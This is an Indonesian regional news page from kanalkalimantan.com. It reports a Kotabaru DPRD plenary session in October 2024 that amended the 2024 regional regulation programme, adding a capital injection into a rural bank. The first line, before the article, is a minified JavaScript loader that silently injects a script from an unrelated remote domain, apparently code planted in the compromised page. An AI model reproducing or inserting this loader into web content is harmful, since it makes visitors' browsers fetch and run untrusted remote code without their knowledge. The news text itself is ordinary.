(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Bahas Dua Agenda, DPRD Kotabaru Gelar Rapat Paripurna


KANALKALIMANTAN.COM, KOTABARU – Rapat Paripurna Masa Persidangan I Rapat ke-8 tahun 2024/2025 digelar oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kotabaru, Senin (21/10/2024) siang.

Rapat Paripurna kali ini berisi dua agenda, yakni penyampaian usulan tambahan Propemperda tahun 2024 oleh Bapemperda dan disampaikan Ketua Bapemperda, M Lutfi Ali.

Kemudian penyampaikan pidato Bupati Kotabaru tentang tiga buah Raperda disampaikan Staf Ahli Bidang Pemerintahan Zaenal Arifin.

Sidang dipimpin Wakil Ketua I DPRD Awaludin SHut, MM, Wakil Ketua II Chairil Anwar itu dihadiri perwakilan/Forkopimda, anggota DPRD dan beberapa perwakilan SKPD.

Ketua Bapemperda M Lutfi Ali dalam penyampaiannya, mengatakan Propemperda tahun 2024 sudah di paripurnakan dan ditetapkan melalui surat keputusan DPRD nomor 28 tahun 2023, berjumlah 23 judul Raperda.

Pada Rapat Paripurna ini dilaksanakan perubahan Propemperda tahun 2024, atas dasar usulan Bupati Kotabaru.

Perihal tambahan Propemperda dengan penambahan judul Raperda tentang penambahan penyertaan modal Pemerintah Daerah kepada Bank Perkreditan Rakyat (BPR). Mengingat penyertaan modal Pemerintah Daerah kepada BPR, salah satu usaha meningkatkan pertumbuhan perekonomian daerah dan untuk menggali potensi sumber PAD.

Sebagai dalam Pasal 78 Ayat (2) Peraturan Pemerintah tentang pengelolaan keuangan daerah dan Peraturan Mendagri nomor 77 tahun 2020 tentang pedoman teknis pengelolaan keuangan daerah.

Penyertaan modal Pemerintah Daerah dapat dilaksanakan apabila jumlah yang disertakan telah ditetapkan dalam Peraturan Daerah.

Selain itu, Lutfi menambahkan ada tiga Propemperda dari eksekutif digeser ke tahun 2025 antara lain Raperda tentang pengelolaan kekayaan intelektual, Raperda tentang bentuk hukum Perusahaan Daerah Air Minum, dan Raperda tengang penyertaan modal kepada Perusahaan Daerah Air Minum.

Adapun satu Raperda yang dihapus, yaitu Raperda tentang tata cara pelaksanaan pembukuan, inventarisasi dan pelaporan barang milik daerah.

“Karena Raperda ini digabung dengan Raperda pengelolaan barang daerah, dan akan dibuatkan tiga Perbup turunan,” jelas dia.

Ada penambahan satu Raperda dari Pemerintah Daerah yaitu, tentang penambahan penyertaan modal pemerintah daerah kepada BPR.

“Sehingga total 20 Raperda di perubagan Propemperda tahun 2024,” pungkas dia. (kanalkalimantan.com/dprdkotabaru)

Editor: Dhani


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.